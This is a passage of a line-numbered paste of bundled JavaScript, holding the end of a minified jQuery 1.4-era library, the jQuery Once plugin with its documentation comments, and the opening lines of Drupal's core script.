  120. b,d,true)});if(c.isFunction(l))return this.each(function(x){var r=c(this);a[0]=l.call(this,x,b?r.html():B);r.domManip(a,b,d)});if(this[0]){e=l&&l.parentNode;e=c.support.parentNode&&e&&e.nodeType===11&&e.childNodes.length===this.length?{fragment:e}:c.buildFragment(a,this,k);h=e.fragment;if(f=h.childNodes.length===1?h=h.firstChild:h.firstChild){b=b&&c.nodeName(f,"tr");f=0;for(var o=this.length;f<o;f++)d.call(b?c.nodeName(this[f],"table")?this[f].getElementsByTagName("tbody")[0]||this[f].appendChild(this[f].ownerDocument.createElement("tbody")):
  121. this[f]:this[f],f>0||e.cacheable||this.length>1?h.cloneNode(true):h)}k.length&&c.each(k,Oa)}return this}});c.buildFragment=function(a,b,d){var e,f,h;b=b&&b[0]?b[0].ownerDocument||b[0]:t;if(a.length===1&&typeof a[0]==="string"&&a[0].length<512&&b===t&&!Ca.test(a[0])&&(c.support.checkClone||!Da.test(a[0]))){f=true;if(h=c.fragments[a[0]])if(h!==1)e=h}if(!e){e=b.createDocumentFragment();c.clean(a,b,e,d)}if(f)c.fragments[a[0]]=h?e:1;return{fragment:e,cacheable:f}};c.fragments={};c.each({appendTo:"append",
  122. prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){c.fn[a]=function(d){var e=[];d=c(d);var f=this.length===1&&this[0].parentNode;if(f&&f.nodeType===11&&f.childNodes.length===1&&d.length===1){d[b](this[0]);return this}else{f=0;for(var h=d.length;f<h;f++){var l=(f>0?this.clone(true):this).get();c(d[f])[b](l);e=e.concat(l)}return this.pushStack(e,a,d.selector)}}});c.extend({clean:function(a,b,d,e){b=b||t;if(typeof b.createElement==="undefined")b=b.ownerDocument||
  123. b[0]&&b[0].ownerDocument||t;for(var f=[],h=0,l;(l=a[h])!=null;h++){if(typeof l==="number")l+="";if(l){if(typeof l==="string"&&!eb.test(l))l=b.createTextNode(l);else if(typeof l==="string"){l=l.replace(Aa,"<$1></$2>");var k=(Ba.exec(l)||["",""])[1].toLowerCase(),o=P[k]||P._default,x=o[0],r=b.createElement("div");for(r.innerHTML=o[1]+l+o[2];x--;)r=r.lastChild;if(!c.support.tbody){x=db.test(l);k=k==="table"&&!x?r.firstChild&&r.firstChild.childNodes:o[1]==="<table>"&&!x?r.childNodes:[];for(o=k.length-
  124. 1;o>=0;--o)c.nodeName(k[o],"tbody")&&!k[o].childNodes.length&&k[o].parentNode.removeChild(k[o])}!c.support.leadingWhitespace&&$.test(l)&&r.insertBefore(b.createTextNode($.exec(l)[0]),r.firstChild);l=r.childNodes}if(l.nodeType)f.push(l);else f=c.merge(f,l)}}if(d)for(h=0;f[h];h++)if(e&&c.nodeName(f[h],"script")&&(!f[h].type||f[h].type.toLowerCase()==="text/javascript"))e.push(f[h].parentNode?f[h].parentNode.removeChild(f[h]):f[h]);else{f[h].nodeType===1&&f.splice.apply(f,[h+1,0].concat(c.makeArray(f[h].getElementsByTagName("script"))));
  125. d.appendChild(f[h])}return f},cleanData:function(a){for(var b,d,e=c.cache,f=c.event.special,h=c.support.deleteExpando,l=0,k;(k=a[l])!=null;l++)if(!(k.nodeName&&c.noData[k.nodeName.toLowerCase()]))if(d=k[c.expando]){if((b=e[d])&&b.events)for(var o in b.events)f[o]?c.event.remove(k,o):c.removeEvent(k,o,b.handle);if(h)delete k[c.expando];else k.removeAttribute&&k.removeAttribute(c.expando);delete e[d]}}});var Ea=/alpha\([^)]*\)/i,gb=/opacity=([^)]*)/,hb=/-([a-z])/ig,ib=/([A-Z])/g,Fa=/^-?\d+(?:px)?$/i,
  126. jb=/^-?\d/,kb={position:"absolute",visibility:"hidden",display:"block"},Pa=["Left","Right"],Qa=["Top","Bottom"],W,Ga,aa,lb=function(a,b){return b.toUpperCase()};c.fn.css=function(a,b){if(arguments.length===2&&b===B)return this;return c.access(this,a,b,true,function(d,e,f){return f!==B?c.style(d,e,f):c.css(d,e)})};c.extend({cssHooks:{opacity:{get:function(a,b){if(b){var d=W(a,"opacity","opacity");return d===""?"1":d}else return a.style.opacity}}},cssNumber:{zIndex:true,fontWeight:true,opacity:true,
  127. zoom:true,lineHeight:true},cssProps:{"float":c.support.cssFloat?"cssFloat":"styleFloat"},style:function(a,b,d,e){if(!(!a||a.nodeType===3||a.nodeType===8||!a.style)){var f,h=c.camelCase(b),l=a.style,k=c.cssHooks[h];b=c.cssProps[h]||h;if(d!==B){if(!(typeof d==="number"&&isNaN(d)||d==null)){if(typeof d==="number"&&!c.cssNumber[h])d+="px";if(!k||!("set"in k)||(d=k.set(a,d))!==B)try{l[b]=d}catch(o){}}}else{if(k&&"get"in k&&(f=k.get(a,false,e))!==B)return f;return l[b]}}},css:function(a,b,d){var e,f=c.camelCase(b),
  128. h=c.cssHooks[f];b=c.cssProps[f]||f;if(h&&"get"in h&&(e=h.get(a,true,d))!==B)return e;else if(W)return W(a,b,f)},swap:function(a,b,d){var e={},f;for(f in b){e[f]=a.style[f];a.style[f]=b[f]}d.call(a);for(f in b)a.style[f]=e[f]},camelCase:function(a){return a.replace(hb,lb)}});c.curCSS=c.css;c.each(["height","width"],function(a,b){c.cssHooks[b]={get:function(d,e,f){var h;if(e){if(d.offsetWidth!==0)h=oa(d,b,f);else c.swap(d,kb,function(){h=oa(d,b,f)});if(h<=0){h=W(d,b,b);if(h==="0px"&&aa)h=aa(d,b,b);
  129. if(h!=null)return h===""||h==="auto"?"0px":h}if(h<0||h==null){h=d.style[b];return h===""||h==="auto"?"0px":h}return typeof h==="string"?h:h+"px"}},set:function(d,e){if(Fa.test(e)){e=parseFloat(e);if(e>=0)return e+"px"}else return e}}});if(!c.support.opacity)c.cssHooks.opacity={get:function(a,b){return gb.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?parseFloat(RegExp.$1)/100+"":b?"1":""},set:function(a,b){var d=a.style;d.zoom=1;var e=c.isNaN(b)?"":"alpha(opacity="+b*100+")",f=
  130. d.filter||"";d.filter=Ea.test(f)?f.replace(Ea,e):d.filter+" "+e}};if(t.defaultView&&t.defaultView.getComputedStyle)Ga=function(a,b,d){var e;d=d.replace(ib,"-$1").toLowerCase();if(!(b=a.ownerDocument.defaultView))return B;if(b=b.getComputedStyle(a,null)){e=b.getPropertyValue(d);if(e===""&&!c.contains(a.ownerDocument.documentElement,a))e=c.style(a,d)}return e};if(t.documentElement.currentStyle)aa=function(a,b){var d,e,f=a.currentStyle&&a.currentStyle[b],h=a.style;if(!Fa.test(f)&&jb.test(f)){d=h.left;
  131. e=a.runtimeStyle.left;a.runtimeStyle.left=a.currentStyle.left;h.left=b==="fontSize"?"1em":f||0;f=h.pixelLeft+"px";h.left=d;a.runtimeStyle.left=e}return f===""?"auto":f};W=Ga||aa;if(c.expr&&c.expr.filters){c.expr.filters.hidden=function(a){var b=a.offsetHeight;return a.offsetWidth===0&&b===0||!c.support.reliableHiddenOffsets&&(a.style.display||c.css(a,"display"))==="none"};c.expr.filters.visible=function(a){return!c.expr.filters.hidden(a)}}var mb=c.now(),nb=/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,
  132. ob=/^(?:select|textarea)/i,pb=/^(?:color|date|datetime|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,qb=/^(?:GET|HEAD)$/,Ra=/\[\]$/,T=/\=\?(&|$)/,ja=/\?/,rb=/([?&])_=[^&]*/,sb=/^(\w+:)?\/\/([^\/?#]+)/,tb=/%20/g,ub=/#.*$/,Ha=c.fn.load;c.fn.extend({load:function(a,b,d){if(typeof a!=="string"&&Ha)return Ha.apply(this,arguments);else if(!this.length)return this;var e=a.indexOf(" ");if(e>=0){var f=a.slice(e,a.length);a=a.slice(0,e)}e="GET";if(b)if(c.isFunction(b)){d=b;b=null}else if(typeof b===
  133. "object"){b=c.param(b,c.ajaxSettings.traditional);e="POST"}var h=this;c.ajax({url:a,type:e,dataType:"html",data:b,complete:function(l,k){if(k==="success"||k==="notmodified")h.html(f?c("<div>").append(l.responseText.replace(nb,"")).find(f):l.responseText);d&&h.each(d,[l.responseText,k,l])}});return this},serialize:function(){return c.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?c.makeArray(this.elements):this}).filter(function(){return this.name&&
  134. !this.disabled&&(this.checked||ob.test(this.nodeName)||pb.test(this.type))}).map(function(a,b){var d=c(this).val();return d==null?null:c.isArray(d)?c.map(d,function(e){return{name:b.name,value:e}}):{name:b.name,value:d}}).get()}});c.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){c.fn[b]=function(d){return this.bind(b,d)}});c.extend({get:function(a,b,d,e){if(c.isFunction(b)){e=e||d;d=b;b=null}return c.ajax({type:"GET",url:a,data:b,success:d,dataType:e})},
  135. getScript:function(a,b){return c.get(a,null,b,"script")},getJSON:function(a,b,d){return c.get(a,b,d,"json")},post:function(a,b,d,e){if(c.isFunction(b)){e=e||d;d=b;b={}}return c.ajax({type:"POST",url:a,data:b,success:d,dataType:e})},ajaxSetup:function(a){c.extend(c.ajaxSettings,a)},ajaxSettings:{url:location.href,global:true,type:"GET",contentType:"application/x-www-form-urlencoded",processData:true,async:true,xhr:function(){return new E.XMLHttpRequest},accepts:{xml:"application/xml, text/xml",html:"text/html",
  136. script:"text/javascript, application/javascript",json:"application/json, text/javascript",text:"text/plain",_default:"*/*"}},ajax:function(a){var b=c.extend(true,{},c.ajaxSettings,a),d,e,f,h=b.type.toUpperCase(),l=qb.test(h);b.url=b.url.replace(ub,"");b.context=a&&a.context!=null?a.context:b;if(b.data&&b.processData&&typeof b.data!=="string")b.data=c.param(b.data,b.traditional);if(b.dataType==="jsonp"){if(h==="GET")T.test(b.url)||(b.url+=(ja.test(b.url)?"&":"?")+(b.jsonp||"callback")+"=?");else if(!b.data||
  137. !T.test(b.data))b.data=(b.data?b.data+"&":"")+(b.jsonp||"callback")+"=?";b.dataType="json"}if(b.dataType==="json"&&(b.data&&T.test(b.data)||T.test(b.url))){d=b.jsonpCallback||"jsonp"+mb++;if(b.data)b.data=(b.data+"").replace(T,"="+d+"$1");b.url=b.url.replace(T,"="+d+"$1");b.dataType="script";var k=E[d];E[d]=function(m){if(c.isFunction(k))k(m);else{E[d]=B;try{delete E[d]}catch(p){}}f=m;c.handleSuccess(b,w,e,f);c.handleComplete(b,w,e,f);r&&r.removeChild(A)}}if(b.dataType==="script"&&b.cache===null)b.cache=
  138. false;if(b.cache===false&&l){var o=c.now(),x=b.url.replace(rb,"$1_="+o);b.url=x+(x===b.url?(ja.test(b.url)?"&":"?")+"_="+o:"")}if(b.data&&l)b.url+=(ja.test(b.url)?"&":"?")+b.data;b.global&&c.active++===0&&c.event.trigger("ajaxStart");o=(o=sb.exec(b.url))&&(o[1]&&o[1].toLowerCase()!==location.protocol||o[2].toLowerCase()!==location.host);if(b.dataType==="script"&&h==="GET"&&o){var r=t.getElementsByTagName("head")[0]||t.documentElement,A=t.createElement("script");if(b.scriptCharset)A.charset=b.scriptCharset;
  139. A.src=b.url;if(!d){var C=false;A.onload=A.onreadystatechange=function(){if(!C&&(!this.readyState||this.readyState==="loaded"||this.readyState==="complete")){C=true;c.handleSuccess(b,w,e,f);c.handleComplete(b,w,e,f);A.onload=A.onreadystatechange=null;r&&A.parentNode&&r.removeChild(A)}}}r.insertBefore(A,r.firstChild);return B}var J=false,w=b.xhr();if(w){b.username?w.open(h,b.url,b.async,b.username,b.password):w.open(h,b.url,b.async);try{if(b.data!=null&&!l||a&&a.contentType)w.setRequestHeader("Content-Type",
  140. b.contentType);if(b.ifModified){c.lastModified[b.url]&&w.setRequestHeader("If-Modified-Since",c.lastModified[b.url]);c.etag[b.url]&&w.setRequestHeader("If-None-Match",c.etag[b.url])}o||w.setRequestHeader("X-Requested-With","XMLHttpRequest");w.setRequestHeader("Accept",b.dataType&&b.accepts[b.dataType]?b.accepts[b.dataType]+", */*; q=0.01":b.accepts._default)}catch(I){}if(b.beforeSend&&b.beforeSend.call(b.context,w,b)===false){b.global&&c.active--===1&&c.event.trigger("ajaxStop");w.abort();return false}b.global&&
  141. c.triggerGlobal(b,"ajaxSend",[w,b]);var L=w.onreadystatechange=function(m){if(!w||w.readyState===0||m==="abort"){J||c.handleComplete(b,w,e,f);J=true;if(w)w.onreadystatechange=c.noop}else if(!J&&w&&(w.readyState===4||m==="timeout")){J=true;w.onreadystatechange=c.noop;e=m==="timeout"?"timeout":!c.httpSuccess(w)?"error":b.ifModified&&c.httpNotModified(w,b.url)?"notmodified":"success";var p;if(e==="success")try{f=c.httpData(w,b.dataType,b)}catch(q){e="parsererror";p=q}if(e==="success"||e==="notmodified")d||
  142. c.handleSuccess(b,w,e,f);else c.handleError(b,w,e,p);d||c.handleComplete(b,w,e,f);m==="timeout"&&w.abort();if(b.async)w=null}};try{var g=w.abort;w.abort=function(){w&&Function.prototype.call.call(g,w);L("abort")}}catch(i){}b.async&&b.timeout>0&&setTimeout(function(){w&&!J&&L("timeout")},b.timeout);try{w.send(l||b.data==null?null:b.data)}catch(n){c.handleError(b,w,null,n);c.handleComplete(b,w,e,f)}b.async||L();return w}},param:function(a,b){var d=[],e=function(h,l){l=c.isFunction(l)?l():l;d[d.length]=
  143. encodeURIComponent(h)+"="+encodeURIComponent(l)};if(b===B)b=c.ajaxSettings.traditional;if(c.isArray(a)||a.jquery)c.each(a,function(){e(this.name,this.value)});else for(var f in a)da(f,a[f],b,e);return d.join("&").replace(tb,"+")}});c.extend({active:0,lastModified:{},etag:{},handleError:function(a,b,d,e){a.error&&a.error.call(a.context,b,d,e);a.global&&c.triggerGlobal(a,"ajaxError",[b,a,e])},handleSuccess:function(a,b,d,e){a.success&&a.success.call(a.context,e,d,b);a.global&&c.triggerGlobal(a,"ajaxSuccess",
  144. [b,a])},handleComplete:function(a,b,d){a.complete&&a.complete.call(a.context,b,d);a.global&&c.triggerGlobal(a,"ajaxComplete",[b,a]);a.global&&c.active--===1&&c.event.trigger("ajaxStop")},triggerGlobal:function(a,b,d){(a.context&&a.context.url==null?c(a.context):c.event).trigger(b,d)},httpSuccess:function(a){try{return!a.status&&location.protocol==="file:"||a.status>=200&&a.status<300||a.status===304||a.status===1223}catch(b){}return false},httpNotModified:function(a,b){var d=a.getResponseHeader("Last-Modified"),
  145. e=a.getResponseHeader("Etag");if(d)c.lastModified[b]=d;if(e)c.etag[b]=e;return a.status===304},httpData:function(a,b,d){var e=a.getResponseHeader("content-type")||"",f=b==="xml"||!b&&e.indexOf("xml")>=0;a=f?a.responseXML:a.responseText;f&&a.documentElement.nodeName==="parsererror"&&c.error("parsererror");if(d&&d.dataFilter)a=d.dataFilter(a,b);if(typeof a==="string")if(b==="json"||!b&&e.indexOf("json")>=0)a=c.parseJSON(a);else if(b==="script"||!b&&e.indexOf("javascript")>=0)c.globalEval(a);return a}});
  146. if(E.ActiveXObject)c.ajaxSettings.xhr=function(){if(E.location.protocol!=="file:")try{return new E.XMLHttpRequest}catch(a){}try{return new E.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}};c.support.ajax=!!c.ajaxSettings.xhr();var ea={},vb=/^(?:toggle|show|hide)$/,wb=/^([+\-]=)?([\d+.\-]+)(.*)$/,ba,pa=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]];c.fn.extend({show:function(a,b,d){if(a||a===0)return this.animate(S("show",
  147. 3),a,b,d);else{d=0;for(var e=this.length;d<e;d++){a=this[d];b=a.style.display;if(!c.data(a,"olddisplay")&&b==="none")b=a.style.display="";b===""&&c.css(a,"display")==="none"&&c.data(a,"olddisplay",qa(a.nodeName))}for(d=0;d<e;d++){a=this[d];b=a.style.display;if(b===""||b==="none")a.style.display=c.data(a,"olddisplay")||""}return this}},hide:function(a,b,d){if(a||a===0)return this.animate(S("hide",3),a,b,d);else{a=0;for(b=this.length;a<b;a++){d=c.css(this[a],"display");d!=="none"&&c.data(this[a],"olddisplay",
  148. d)}for(a=0;a<b;a++)this[a].style.display="none";return this}},_toggle:c.fn.toggle,toggle:function(a,b,d){var e=typeof a==="boolean";if(c.isFunction(a)&&c.isFunction(b))this._toggle.apply(this,arguments);else a==null||e?this.each(function(){var f=e?a:c(this).is(":hidden");c(this)[f?"show":"hide"]()}):this.animate(S("toggle",3),a,b,d);return this},fadeTo:function(a,b,d,e){return this.filter(":hidden").css("opacity",0).show().end().animate({opacity:b},a,d,e)},animate:function(a,b,d,e){var f=c.speed(b,
  149. d,e);if(c.isEmptyObject(a))return this.each(f.complete);return this[f.queue===false?"each":"queue"](function(){var h=c.extend({},f),l,k=this.nodeType===1,o=k&&c(this).is(":hidden"),x=this;for(l in a){var r=c.camelCase(l);if(l!==r){a[r]=a[l];delete a[l];l=r}if(a[l]==="hide"&&o||a[l]==="show"&&!o)return h.complete.call(this);if(k&&(l==="height"||l==="width")){h.overflow=[this.style.overflow,this.style.overflowX,this.style.overflowY];if(c.css(this,"display")==="inline"&&c.css(this,"float")==="none")if(c.support.inlineBlockNeedsLayout)if(qa(this.nodeName)===
  150. "inline")this.style.display="inline-block";else{this.style.display="inline";this.style.zoom=1}else this.style.display="inline-block"}if(c.isArray(a[l])){(h.specialEasing=h.specialEasing||{})[l]=a[l][1];a[l]=a[l][0]}}if(h.overflow!=null)this.style.overflow="hidden";h.curAnim=c.extend({},a);c.each(a,function(A,C){var J=new c.fx(x,h,A);if(vb.test(C))J[C==="toggle"?o?"show":"hide":C](a);else{var w=wb.exec(C),I=J.cur()||0;if(w){var L=parseFloat(w[2]),g=w[3]||"px";if(g!=="px"){c.style(x,A,(L||1)+g);I=(L||
  151. 1)/J.cur()*I;c.style(x,A,I+g)}if(w[1])L=(w[1]==="-="?-1:1)*L+I;J.custom(I,L,g)}else J.custom(I,C,"")}});return true})},stop:function(a,b){var d=c.timers;a&&this.queue([]);this.each(function(){for(var e=d.length-1;e>=0;e--)if(d[e].elem===this){b&&d[e](true);d.splice(e,1)}});b||this.dequeue();return this}});c.each({slideDown:S("show",1),slideUp:S("hide",1),slideToggle:S("toggle",1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(a,b){c.fn[a]=function(d,e,f){return this.animate(b,
  152. d,e,f)}});c.extend({speed:function(a,b,d){var e=a&&typeof a==="object"?c.extend({},a):{complete:d||!d&&b||c.isFunction(a)&&a,duration:a,easing:d&&b||b&&!c.isFunction(b)&&b};e.duration=c.fx.off?0:typeof e.duration==="number"?e.duration:e.duration in c.fx.speeds?c.fx.speeds[e.duration]:c.fx.speeds._default;e.old=e.complete;e.complete=function(){e.queue!==false&&c(this).dequeue();c.isFunction(e.old)&&e.old.call(this)};return e},easing:{linear:function(a,b,d,e){return d+e*a},swing:function(a,b,d,e){return(-Math.cos(a*
  153. Math.PI)/2+0.5)*e+d}},timers:[],fx:function(a,b,d){this.options=b;this.elem=a;this.prop=d;if(!b.orig)b.orig={}}});c.fx.prototype={update:function(){this.options.step&&this.options.step.call(this.elem,this.now,this);(c.fx.step[this.prop]||c.fx.step._default)(this)},cur:function(){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null))return this.elem[this.prop];var a=parseFloat(c.css(this.elem,this.prop));return a&&a>-1E4?a:0},custom:function(a,b,d){function e(l){return f.step(l)}
  154. var f=this,h=c.fx;this.startTime=c.now();this.start=a;this.end=b;this.unit=d||this.unit||"px";this.now=this.start;this.pos=this.state=0;e.elem=this.elem;if(e()&&c.timers.push(e)&&!ba)ba=setInterval(h.tick,h.interval)},show:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.show=true;this.custom(this.prop==="width"||this.prop==="height"?1:0,this.cur());c(this.elem).show()},hide:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.hide=true;
  155. this.custom(this.cur(),0)},step:function(a){var b=c.now(),d=true;if(a||b>=this.options.duration+this.startTime){this.now=this.end;this.pos=this.state=1;this.update();this.options.curAnim[this.prop]=true;for(var e in this.options.curAnim)if(this.options.curAnim[e]!==true)d=false;if(d){if(this.options.overflow!=null&&!c.support.shrinkWrapBlocks){var f=this.elem,h=this.options;c.each(["","X","Y"],function(k,o){f.style["overflow"+o]=h.overflow[k]})}this.options.hide&&c(this.elem).hide();if(this.options.hide||
  156. this.options.show)for(var l in this.options.curAnim)c.style(this.elem,l,this.options.orig[l]);this.options.complete.call(this.elem)}return false}else{a=b-this.startTime;this.state=a/this.options.duration;b=this.options.easing||(c.easing.swing?"swing":"linear");this.pos=c.easing[this.options.specialEasing&&this.options.specialEasing[this.prop]||b](this.state,a,0,1,this.options.duration);this.now=this.start+(this.end-this.start)*this.pos;this.update()}return true}};c.extend(c.fx,{tick:function(){for(var a=
  157. c.timers,b=0;b<a.length;b++)a[b]()||a.splice(b--,1);a.length||c.fx.stop()},interval:13,stop:function(){clearInterval(ba);ba=null},speeds:{slow:600,fast:200,_default:400},step:{opacity:function(a){c.style(a.elem,"opacity",a.now)},_default:function(a){if(a.elem.style&&a.elem.style[a.prop]!=null)a.elem.style[a.prop]=(a.prop==="width"||a.prop==="height"?Math.max(0,a.now):a.now)+a.unit;else a.elem[a.prop]=a.now}}});if(c.expr&&c.expr.filters)c.expr.filters.animated=function(a){return c.grep(c.timers,function(b){return a===
  158. b.elem}).length};var xb=/^t(?:able|d|h)$/i,Ia=/^(?:body|html)$/i;c.fn.offset="getBoundingClientRect"in t.documentElement?function(a){var b=this[0],d;if(a)return this.each(function(l){c.offset.setOffset(this,a,l)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return c.offset.bodyOffset(b);try{d=b.getBoundingClientRect()}catch(e){}var f=b.ownerDocument,h=f.documentElement;if(!d||!c.contains(h,b))return d||{top:0,left:0};b=f.body;f=fa(f);return{top:d.top+(f.pageYOffset||c.support.boxModel&&
  159. h.scrollTop||b.scrollTop)-(h.clientTop||b.clientTop||0),left:d.left+(f.pageXOffset||c.support.boxModel&&h.scrollLeft||b.scrollLeft)-(h.clientLeft||b.clientLeft||0)}}:function(a){var b=this[0];if(a)return this.each(function(x){c.offset.setOffset(this,a,x)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return c.offset.bodyOffset(b);c.offset.initialize();var d,e=b.offsetParent,f=b.ownerDocument,h=f.documentElement,l=f.body;d=(f=f.defaultView)?f.getComputedStyle(b,null):b.currentStyle;
  160. for(var k=b.offsetTop,o=b.offsetLeft;(b=b.parentNode)&&b!==l&&b!==h;){if(c.offset.supportsFixedPosition&&d.position==="fixed")break;d=f?f.getComputedStyle(b,null):b.currentStyle;k-=b.scrollTop;o-=b.scrollLeft;if(b===e){k+=b.offsetTop;o+=b.offsetLeft;if(c.offset.doesNotAddBorder&&!(c.offset.doesAddBorderForTableAndCells&&xb.test(b.nodeName))){k+=parseFloat(d.borderTopWidth)||0;o+=parseFloat(d.borderLeftWidth)||0}e=b.offsetParent}if(c.offset.subtractsBorderForOverflowNotVisible&&d.overflow!=="visible"){k+=
  161. parseFloat(d.borderTopWidth)||0;o+=parseFloat(d.borderLeftWidth)||0}d=d}if(d.position==="relative"||d.position==="static"){k+=l.offsetTop;o+=l.offsetLeft}if(c.offset.supportsFixedPosition&&d.position==="fixed"){k+=Math.max(h.scrollTop,l.scrollTop);o+=Math.max(h.scrollLeft,l.scrollLeft)}return{top:k,left:o}};c.offset={initialize:function(){var a=t.body,b=t.createElement("div"),d,e,f,h=parseFloat(c.css(a,"marginTop"))||0;c.extend(b.style,{position:"absolute",top:0,left:0,margin:0,border:0,width:"1px",
  162. height:"1px",visibility:"hidden"});b.innerHTML="<div style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;'><div></div></div><table style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;' cellpadding='0' cellspacing='0'><tr><td></td></tr></table>";a.insertBefore(b,a.firstChild);d=b.firstChild;e=d.firstChild;f=d.nextSibling.firstChild.firstChild;this.doesNotAddBorder=e.offsetTop!==5;this.doesAddBorderForTableAndCells=
  163. f.offsetTop===5;e.style.position="fixed";e.style.top="20px";this.supportsFixedPosition=e.offsetTop===20||e.offsetTop===15;e.style.position=e.style.top="";d.style.overflow="hidden";d.style.position="relative";this.subtractsBorderForOverflowNotVisible=e.offsetTop===-5;this.doesNotIncludeMarginInBodyOffset=a.offsetTop!==h;a.removeChild(b);c.offset.initialize=c.noop},bodyOffset:function(a){var b=a.offsetTop,d=a.offsetLeft;c.offset.initialize();if(c.offset.doesNotIncludeMarginInBodyOffset){b+=parseFloat(c.css(a,
  164. "marginTop"))||0;d+=parseFloat(c.css(a,"marginLeft"))||0}return{top:b,left:d}},setOffset:function(a,b,d){var e=c.css(a,"position");if(e==="static")a.style.position="relative";var f=c(a),h=f.offset(),l=c.css(a,"top"),k=c.css(a,"left"),o=e==="absolute"&&c.inArray("auto",[l,k])>-1;e={};var x={};if(o)x=f.position();l=o?x.top:parseInt(l,10)||0;k=o?x.left:parseInt(k,10)||0;if(c.isFunction(b))b=b.call(a,d,h);if(b.top!=null)e.top=b.top-h.top+l;if(b.left!=null)e.left=b.left-h.left+k;"using"in b?b.using.call(a,
  165. e):f.css(e)}};c.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),d=this.offset(),e=Ia.test(b[0].nodeName)?{top:0,left:0}:b.offset();d.top-=parseFloat(c.css(a,"marginTop"))||0;d.left-=parseFloat(c.css(a,"marginLeft"))||0;e.top+=parseFloat(c.css(b[0],"borderTopWidth"))||0;e.left+=parseFloat(c.css(b[0],"borderLeftWidth"))||0;return{top:d.top-e.top,left:d.left-e.left}},offsetParent:function(){return this.map(function(){for(var a=this.offsetParent||t.body;a&&!Ia.test(a.nodeName)&&
  166. c.css(a,"position")==="static";)a=a.offsetParent;return a})}});c.each(["Left","Top"],function(a,b){var d="scroll"+b;c.fn[d]=function(e){var f=this[0],h;if(!f)return null;if(e!==B)return this.each(function(){if(h=fa(this))h.scrollTo(!a?e:c(h).scrollLeft(),a?e:c(h).scrollTop());else this[d]=e});else return(h=fa(f))?"pageXOffset"in h?h[a?"pageYOffset":"pageXOffset"]:c.support.boxModel&&h.document.documentElement[d]||h.document.body[d]:f[d]}});c.each(["Height","Width"],function(a,b){var d=b.toLowerCase();
  167. c.fn["inner"+b]=function(){return this[0]?parseFloat(c.css(this[0],d,"padding")):null};c.fn["outer"+b]=function(e){return this[0]?parseFloat(c.css(this[0],d,e?"margin":"border")):null};c.fn[d]=function(e){var f=this[0];if(!f)return e==null?null:this;if(c.isFunction(e))return this.each(function(l){var k=c(this);k[d](e.call(this,l,k[d]()))});if(c.isWindow(f))return f.document.compatMode==="CSS1Compat"&&f.document.documentElement["client"+b]||f.document.body["client"+b];else if(f.nodeType===9)return Math.max(f.documentElement["client"+
  168. b],f.body["scroll"+b],f.documentElement["scroll"+b],f.body["offset"+b],f.documentElement["offset"+b]);else if(e===B){f=c.css(f,d);var h=parseFloat(f);return c.isNaN(h)?f:h}else return this.css(d,typeof e==="string"?e:e+"px")}})})(window);
  169. ;
  170.  
  171. /**
  172. * jQuery Once Plugin v1.2
  173. * http://plugins.jquery.com/project/once
  174. *
  175. * Dual licensed under the MIT and GPL licenses:
  176. * http://www.opensource.org/licenses/mit-license.php
  177. * http://www.gnu.org/licenses/gpl.html
  178. */
  179.  
  180. (function ($) {
  181. var cache = {}, uuid = 0;
  182.  
  183. /**
  184. * Filters elements by whether they have not yet been processed.
  185. *
  186. * @param id
  187. * (Optional) If this is a string, then it will be used as the CSS class
  188. * name that is applied to the elements for determining whether it has
  189. * already been processed. The elements will get a class in the form of
  190. * "id-processed".
  191. *
  192. * If the id parameter is a function, it will be passed off to the fn
  193. * parameter and the id will become a unique identifier, represented as a
  194. * number.
  195. *
  196. * When the id is neither a string or a function, it becomes a unique
  197. * identifier, depicted as a number. The element's class will then be
  198. * represented in the form of "jquery-once-#-processed".
  199. *
  200. * Take note that the id must be valid for usage as an element's class name.
  201. * @param fn
  202. * (Optional) If given, this function will be called for each element that
  203. * has not yet been processed. The function's return value follows the same
  204. * logic as $.each(). Returning true will continue to the next matched
  205. * element in the set, while returning false will entirely break the
  206. * iteration.
  207. */
  208. $.fn.once = function (id, fn) {
  209. if (typeof id != 'string') {
  210. // Generate a numeric ID if the id passed can't be used as a CSS class.
  211. if (!(id in cache)) {
  212. cache[id] = ++uuid;
  213. }
  214. // When the fn parameter is not passed, we interpret it from the id.
  215. if (!fn) {
  216. fn = id;
  217. }
  218. id = 'jquery-once-' + cache[id];
  219. }
  220. // Remove elements from the set that have already been processed.
  221. var name = id + '-processed';
  222. var elements = this.not('.' + name).addClass(name);
  223.  
  224. return $.isFunction(fn) ? elements.each(fn) : elements;
  225. };
  226.  
  227. /**
  228. * Filters elements that have been processed once already.
  229. *
  230. * @param id
  231. * A required string representing the name of the class which should be used
  232. * when filtering the elements. This only filters elements that have already
  233. * been processed by the once function. The id should be the same id that
  234. * was originally passed to the once() function.
  235. * @param fn
  236. * (Optional) If given, this function will be called for each element that
  237. * has not yet been processed. The function's return value follows the same
  238. * logic as $.each(). Returning true will continue to the next matched
  239. * element in the set, while returning false will entirely break the
  240. * iteration.
  241. */
  242. $.fn.removeOnce = function (id, fn) {
  243. var name = id + '-processed';
  244. var elements = this.filter('.' + name).removeClass(name);
  245.  
  246. return $.isFunction(fn) ? elements.each(fn) : elements;
  247. };
  248. })(jQuery);
  249. ;
  250.  
  251. var Drupal = Drupal || { 'settings': {}, 'behaviors': {}, 'locale': {} };
  252.  
  253. // Allow other JavaScript libraries to use $.
  254. jQuery.noConflict();
  255.  
  256. (function ($) {
  257.  
  258. /**
